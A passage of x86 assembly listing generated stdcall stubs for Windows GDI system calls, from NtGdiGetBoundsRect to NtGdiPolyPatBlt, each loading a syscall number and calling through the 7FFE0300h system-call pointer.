edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetBitmapDimension ENDP ; ULONG __stdcall NtGdiGetBoundsRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetBoundsRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4257 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetBoundsRect ENDP ; ULONG __stdcall NtGdiGetCertificate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetCertificate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4258 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetCertificate ENDP ; ULONG __stdcall NtGdiGetCertificateSize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetCertificateSize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4259 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetCertificateSize ENDP ; ULONG __stdcall NtGdiGetCharABCWidthsW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetCharABCWidthsW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4260 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetCharABCWidthsW ENDP ; ULONG __stdcall NtGdiGetCharacterPlacementW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetCharacterPlacementW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4261 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetCharacterPlacementW ENDP ; ULONG __stdcall NtGdiGetCharSet( ULONG arg_01 ); NtGdiGetCharSet PROC STDCALL arg_01:DWORD mov eax , 4262 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetCharSet ENDP ; ULONG __stdcall NtGdiGetCharWidthW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetCharWidthW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4263 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetCharWidthW ENDP ; ULONG __stdcall NtGdiGetCharWidthInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiGetCharWidthInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4264 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetCharWidthInfo ENDP ; ULONG __stdcall NtGdiGetColorAdjustment( ULONG arg_01 , ULONG arg_02 ); NtGdiGetColorAdjustment PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4265 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetColorAdjustment ENDP ; ULONG __stdcall NtGdiGetColorSpaceforBitmap( ULONG arg_01 ); NtGdiGetColorSpaceforBitmap PROC STDCALL arg_01:DWORD mov eax , 4266 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetColorSpaceforBitmap ENDP ; ULONG __stdcall NtGdiGetCOPPCompatibleOPMInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetCOPPCompatibleOPMInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4267 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetCOPPCompatibleOPMInformation ENDP ; ULONG __stdcall NtGdiGetDCDword( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetDCDword PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4268 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetDCDword ENDP ; ULONG __stdcall NtGdiGetDCforBitmap( ULONG arg_01 ); NtGdiGetDCforBitmap PROC STDCALL arg_01:DWORD mov eax , 4269 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetDCforBitmap ENDP ; ULONG __stdcall NtGdiGetDCObject( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDCObject PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4270 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDCObject ENDP ; ULONG __stdcall NtGdiGetDCPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetDCPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4271 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetDCPoint ENDP ; ULONG __stdcall NtGdiGetDeviceCaps( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDeviceCaps PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4272 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDeviceCaps ENDP ; ULONG __stdcall NtGdiGetDeviceGammaRamp( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDeviceGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4273 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDeviceGammaRamp ENDP ; ULONG __stdcall NtGdiGetDeviceCapsAll( ULONG arg_01 , ULONG arg_02 ); NtGdiGetDeviceCapsAll PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4274 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetDeviceCapsAll ENDP ; ULONG __stdcall NtGdiGetDIBitsInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiGetDIBitsInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4275 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiGetDIBitsInternal ENDP ; ULONG __stdcall NtGdiGetETM( ULONG arg_01 , ULONG arg_02 ); NtGdiGetETM PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4276 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetETM ENDP ; ULONG __stdcall NtGdiGetEudcTimeStampEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetEudcTimeStampEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4277 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetEudcTimeStampEx ENDP ; ULONG __stdcall NtGdiGetFontData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetFontData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4278 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetFontData ENDP ; ULONG __stdcall NtGdiGetFontFileData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetFontFileData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4279 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetFontFileData ENDP ; ULONG __stdcall NtGdiGetFontFileInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetFontFileInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4280 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetFontFileInfo ENDP ; ULONG __stdcall NtGdiGetFontResourceInfoInternalW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetFontResourceInfoInternalW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4281 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetFontResourceInfoInternalW ENDP ; ULONG __stdcall NtGdiGetGlyphIndicesW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetGlyphIndicesW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4282 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetGlyphIndicesW ENDP ; ULONG __stdcall NtGdiGetGlyphIndicesWInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetGlyphIndicesWInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4283 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetGlyphIndicesWInternal ENDP ; ULONG __stdcall NtGdiGetGlyphOutline( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiGetGlyphOutline PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4284 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiGetGlyphOutline ENDP ; ULONG __stdcall NtGdiGetOPMInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetOPMInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4285 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetOPMInformation ENDP ; ULONG __stdcall NtGdiGetKerningPairs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetKerningPairs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4286 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetKerningPairs ENDP ; ULONG __stdcall NtGdiGetLinkedUFIs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetLinkedUFIs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4287 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetLinkedUFIs ENDP ; ULONG __stdcall NtGdiGetMiterLimit( ULONG arg_01 , ULONG arg_02 ); NtGdiGetMiterLimit PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4288 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetMiterLimit ENDP ; ULONG __stdcall NtGdiGetMonitorID( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetMonitorID PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4289 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetMonitorID ENDP ; ULONG __stdcall NtGdiGetNearestColor( ULONG arg_01 , ULONG arg_02 ); NtGdiGetNearestColor PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4290 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetNearestColor ENDP ; ULONG __stdcall NtGdiGetNearestPaletteIndex( ULONG arg_01 , ULONG arg_02 ); NtGdiGetNearestPaletteIndex PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4291 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetNearestPaletteIndex ENDP ; ULONG __stdcall NtGdiGetObjectBitmapHandle( ULONG arg_01 , ULONG arg_02 ); NtGdiGetObjectBitmapHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4292 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetObjectBitmapHandle ENDP ; ULONG __stdcall NtGdiGetOPMRandomNumber( ULONG arg_01 , ULONG arg_02 ); NtGdiGetOPMRandomNumber PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4293 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetOPMRandomNumber ENDP ; ULONG __stdcall NtGdiGetOutlineTextMetricsInternalW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetOutlineTextMetricsInternalW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4294 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetOutlineTextMetricsInternalW ENDP ; ULONG __stdcall NtGdiGetPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4295 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetPath ENDP ; ULONG __stdcall NtGdiGetPixel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetPixel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4296 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetPixel ENDP ; ULONG __stdcall NtGdiGetRandomRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetRandomRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4297 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetRandomRgn ENDP ; ULONG __stdcall NtGdiGetRasterizerCaps( ULONG arg_01 , ULONG arg_02 ); NtGdiGetRasterizerCaps PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4298 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetRasterizerCaps ENDP ; ULONG __stdcall NtGdiGetRealizationInfo( ULONG arg_01 , ULONG arg_02 ); NtGdiGetRealizationInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4299 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetRealizationInfo ENDP ; ULONG __stdcall NtGdiGetRegionData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetRegionData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4300 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetRegionData ENDP ; ULONG __stdcall NtGdiGetRgnBox( ULONG arg_01 , ULONG arg_02 ); NtGdiGetRgnBox PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4301 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetRgnBox ENDP ; ULONG __stdcall NtGdiGetServerMetaFileBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetServerMetaFileBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4302 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetServerMetaFileBits ENDP ; ULONG __stdcall UMPDDrvCreateDeviceBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); UMPDDrvCreateDeviceBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4303 mov edx , 7FFE0300h call dword ptr [edx] ret 16 UMPDDrvCreateDeviceBitmap ENDP ; ULONG __stdcall NtGdiGetStats( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetStats PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4304 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetStats ENDP ; ULONG __stdcall NtGdiGetStockObject( ULONG arg_01 ); NtGdiGetStockObject PROC STDCALL arg_01:DWORD mov eax , 4305 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetStockObject ENDP ; ULONG __stdcall NtGdiGetStringBitmapW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetStringBitmapW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4306 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetStringBitmapW ENDP ; ULONG __stdcall NtGdiGetSuggestedOPMProtectedOutputArraySize( ULONG arg_01 , ULONG arg_02 ); NtGdiGetSuggestedOPMProtectedOutputArraySize PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4307 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetSuggestedOPMProtectedOutputArraySize ENDP ; ULONG __stdcall NtGdiGetSystemPaletteUse( ULONG arg_01 ); NtGdiGetSystemPaletteUse PROC STDCALL arg_01:DWORD mov eax , 4308 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetSystemPaletteUse ENDP ; ULONG __stdcall NtGdiGetTextCharsetInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetTextCharsetInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4309 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetTextCharsetInfo ENDP ; ULONG __stdcall NtGdiGetTextExtent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiGetTextExtent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4310 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiGetTextExtent ENDP ; ULONG __stdcall NtGdiGetTextExtentExW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiGetTextExtentExW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4311 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiGetTextExtentExW ENDP ; ULONG __stdcall NtGdiGetTextFaceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetTextFaceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4312 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetTextFaceW ENDP ; ULONG __stdcall NtGdiGetTextMetricsW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetTextMetricsW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4313 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetTextMetricsW ENDP ; ULONG __stdcall NtGdiGetTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4314 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetTransform ENDP ; ULONG __stdcall NtGdiGetUFI( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGetUFI PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4315 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGetUFI ENDP ; ULONG __stdcall NtGdiGetEmbUFI( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetEmbUFI PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4316 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetEmbUFI ENDP ; ULONG __stdcall NtGdiGetUFIPathname( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiGetUFIPathname PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4317 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiGetUFIPathname ENDP ; ULONG __stdcall NtGdiGetEmbedFonts( ); NtGdiGetEmbedFonts PROC STDCALL mov eax , 4318 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiGetEmbedFonts ENDP ; ULONG __stdcall NtGdiChangeGhostFont( ULONG arg_01 , ULONG arg_02 ); NtGdiChangeGhostFont PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4319 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiChangeGhostFont ENDP ; ULONG __stdcall NtGdiAddEmbFontToDC( ULONG arg_01 , ULONG arg_02 ); NtGdiAddEmbFontToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4320 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiAddEmbFontToDC ENDP ; ULONG __stdcall NtGdiGetFontUnicodeRanges( ULONG arg_01 , ULONG arg_02 ); NtGdiGetFontUnicodeRanges PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4321 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetFontUnicodeRanges ENDP ; ULONG __stdcall NtGdiGetWidthTable( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiGetWidthTable PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4322 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiGetWidthTable ENDP ; ULONG __stdcall NtGdiGradientFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiGradientFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4323 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiGradientFill ENDP ; ULONG __stdcall NtGdiHfontCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiHfontCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4324 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiHfontCreate ENDP ; ULONG __stdcall NtGdiIcmBrushInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiIcmBrushInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4325 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiIcmBrushInfo ENDP ; ULONG __stdcall NtGdiInit( ); NtGdiInit PROC STDCALL mov eax , 4326 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiInit ENDP ; ULONG __stdcall NtGdiInitSpool( ); NtGdiInitSpool PROC STDCALL mov eax , 4327 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiInitSpool ENDP ; ULONG __stdcall NtGdiIntersectClipRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiIntersectClipRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4328 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiIntersectClipRect ENDP ; ULONG __stdcall NtGdiInvertRgn( ULONG arg_01 , ULONG arg_02 ); NtGdiInvertRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4329 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiInvertRgn ENDP ; ULONG __stdcall NtGdiLineTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiLineTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4330 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiLineTo ENDP ; ULONG __stdcall NtGdiMakeFontDir( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiMakeFontDir PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4331 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiMakeFontDir ENDP ; ULONG __stdcall NtGdiMakeInfoDC( ULONG arg_01 , ULONG arg_02 ); NtGdiMakeInfoDC PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4332 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiMakeInfoDC ENDP ; ULONG __stdcall NtGdiMaskBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 ); NtGdiMaskBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD mov eax , 4333 mov edx , 7FFE0300h call dword ptr [edx] ret 52 NtGdiMaskBlt ENDP ; ULONG __stdcall NtGdiModifyWorldTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiModifyWorldTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4334 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiModifyWorldTransform ENDP ; ULONG __stdcall NtGdiMonoBitmap( ULONG arg_01 ); NtGdiMonoBitmap PROC STDCALL arg_01:DWORD mov eax , 4335 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiMonoBitmap ENDP ; ULONG __stdcall NtGdiMoveTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiMoveTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4336 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiMoveTo ENDP ; ULONG __stdcall NtGdiOffsetClipRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiOffsetClipRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4337 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiOffsetClipRgn ENDP ; ULONG __stdcall NtGdiOffsetRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiOffsetRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4338 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiOffsetRgn ENDP ; ULONG __stdcall NtGdiOpenDCW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiOpenDCW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4339 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiOpenDCW ENDP ; ULONG __stdcall NtGdiPatBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiPatBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4340 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiPatBlt ENDP ; ULONG __stdcall NtGdiPolyPatBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiPolyPatBlt PROC STDCALL arg_01:DWORD , 